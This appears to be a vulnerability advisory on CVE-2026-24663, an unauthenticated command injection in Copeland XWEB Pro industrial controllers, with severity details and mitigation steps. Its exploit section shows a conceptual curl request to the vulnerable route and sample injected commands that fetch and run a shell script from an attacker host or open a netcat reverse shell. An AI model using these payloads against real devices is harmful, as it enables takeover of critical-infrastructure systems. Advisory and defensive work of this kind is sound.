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CVE-2026-24663 is a critical OS command injection vulnerability in Copeland XWEB Pro versions up to 1.12.1. The flaw exists in the libraries installation route, where the application fails to properly sanitize user-supplied input before incorporating it into system-level commands. An unauthenticated attacker can exploit this by sending a specially crafted HTTP request to the vulnerable endpoint with malicious payloads in the request body. When the server processes this input without proper neutralization, it executes arbitrary operating system commands with the privileges of the vulnerable application. This allows the attacker to achieve remote code execution (RCE) on the target system. The vulnerability is classified under CWE-78 (Improper Neutralization of Special Elements used in an OS Command). Despite requiring high attack complexity due to potential environmental factors, the impact is severe—complete system compromise. The CVSS v3.1 vector string (AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H) yields a base score of 9.0, making it critical .
dailycve form:
Platform: Copeland XWEB Pro
Version: 1.12.1 and prior
Vulnerability: OS Command Injection
Severity: Critical (CVSS 9.0)
Date: February 26, 2026
Prediction: Patch available now
What Undercode Say:
Analysis
This vulnerability affects industrial energy management devices (XWEB 300D PRO, 500D PRO, 500B PRO) commonly deployed in critical infrastructure. Discovered by Amir Zaltzman and Noam Moshe of Claroty Team82, it was disclosed via CISA advisory ICSA-26-057-10 . The attack vector is network-based, requires no authentication, and can lead to full device takeover. Although no public exploits are currently available, the vulnerability is highly likely to be weaponized given its criticality and the prevalence of these systems in OT environments .
Exploit
While no public PoC exists, exploitation would involve injecting OS commands into the libraries installation request body. Example conceptual payload using command chaining:
Conceptual curl command (do not use without authorization) curl -X POST http://target.xweb.local/libraries/install \ -H "Content-Type: application/x-www-form-urlencoded" \ --data "param=legit_value; whoami"
Attackers might inject commands like `; wget http://attacker.com/shell.sh | sh` or `|| nc -e /bin/sh attacker-ip 4444` to establish reverse shells .
Protection from this CVE
- Immediate Patching: Update to the latest firmware via Copeland’s software update portal or device menu (SYSTEM > Updates | Network) .
- Network Segmentation: Isolate XWEB Pro devices from the public internet and general IT networks. Restrict access to trusted management networks only .
- Firewall Rules: Block unauthorized inbound traffic to the libraries installation route and related management interfaces .
- Monitor Traffic: Deploy IDS/IPS with signatures tuned for command injection patterns targeting OT devices .
- Disable Unused Features: If operationally feasible, restrict or disable the libraries installation functionality .
Impact
Successful exploitation allows unauthenticated remote code execution with high impact on confidentiality, integrity, and availability. Attackers can fully compromise the device, potentially disrupting industrial processes, exfiltrating sensitive operational data, and using the foothold for lateral movement within OT networks. This poses significant risks to critical infrastructure sectors, including energy and manufacturing .
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Reported By: nvd.nist.gov
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